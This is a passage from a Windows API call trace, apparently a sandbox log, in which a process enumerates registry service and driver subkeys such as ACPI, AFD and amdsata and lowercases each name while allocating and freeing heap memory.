cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a48, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.470] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1850, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.470] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.470] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.470] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.470] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0236.470] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1850, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.471] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0236.471] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.471] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.471] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.472] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.472] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0236.472] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.472] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.473] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.473] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.473] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0236.473] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1850, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1850, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.474] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.474] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.474] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.474] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0236.475] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0236.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0236.475] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0236.475] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0236.475] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 